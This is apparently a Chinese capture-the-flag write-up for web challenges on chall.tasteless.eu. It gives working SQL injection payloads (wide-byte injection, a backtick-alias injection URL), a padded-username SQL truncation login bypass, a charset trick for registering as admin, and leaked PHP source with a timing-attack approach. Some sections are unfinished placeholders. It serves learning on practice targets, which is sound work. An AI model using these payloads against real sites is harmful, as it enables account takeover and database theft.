十有八九是注入,不过测试引号和转义符并没发现什么,于是跑了下密码字典,竟然发现网页提示 sql injection detected! ,然后发现原来是密码中存在or关键字
测试了username处发现未拦截关键字,那注入点应该只存在于password,那么应该就是username填admin,password处构造SQL语句条件为真即可
试了很久才发现原来是考宽字节注入,payload如下
username=admin&password=%df'<>1#
后台语句则会是
SELECT * FROM users WHERE username='admin' AND password='?'<>1
password='?' 为假即0,0<>1为真,所以整条语句为真
SQL约束攻击
注册一个账号
admin xxx (中间多几个空格)
123456789
然后以admin:123456789登录
一开始瞎尝试毫无头绪,后才发现有源码泄露
http://chall.tasteless.eu/level12/lucky.php~
代码为
<?php $k=$_GET['emit']; $a=substr(sprintf("%8x%05x\n",floor($k),($k-floor($k))*1000000),0,-3); $b=substr(uniqid(),0,-2); if($a==$b){ print "WTF?! YOU REALLY DID IT <3<br /> flag is: t1m1ng4tt4ck"; } else { print "VAR a is ".$a."<br />"; print "VAR b is ".$b."<br />"; } ?>
...
没错flag就在源码里,t1m1ng4tt4ck
不过还是要研究一下这题的正常解法
$a=substr(sprintf("%8x%05x\n",floor($k),($k-floor($k))*1000000),0,-3);
$a前8位是floor($k),后5位是($k-floor($k))*1000000),即后5位取决于小数部分,然后被substr,只取前11位
$b=substr(uniqid(),0,-2);
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
$b的11位都取决于当前时间
所以就要构造一个比当前时间大一点的payload,然后用burp不断发包,直到刚好撞上
待更
待更
待更
字符集的问题
注册的时候admin后面加上\xC2
登录以admin即可
http://chall.tasteless.eu/level20/index.php?view=flag as Quality from level20_flag join level20`
实验室的小伙伴试出来的,我之前有想过join,但是题目ban了注释符,就一直没想到绕过方法,至于为什么这里反引号能当注释用,目前还是不清楚,正在研究。。。
更:mysql中起别名用as,但as可以省略,而在可以起别名的地方,用上反引号,其后的内容都会作为别名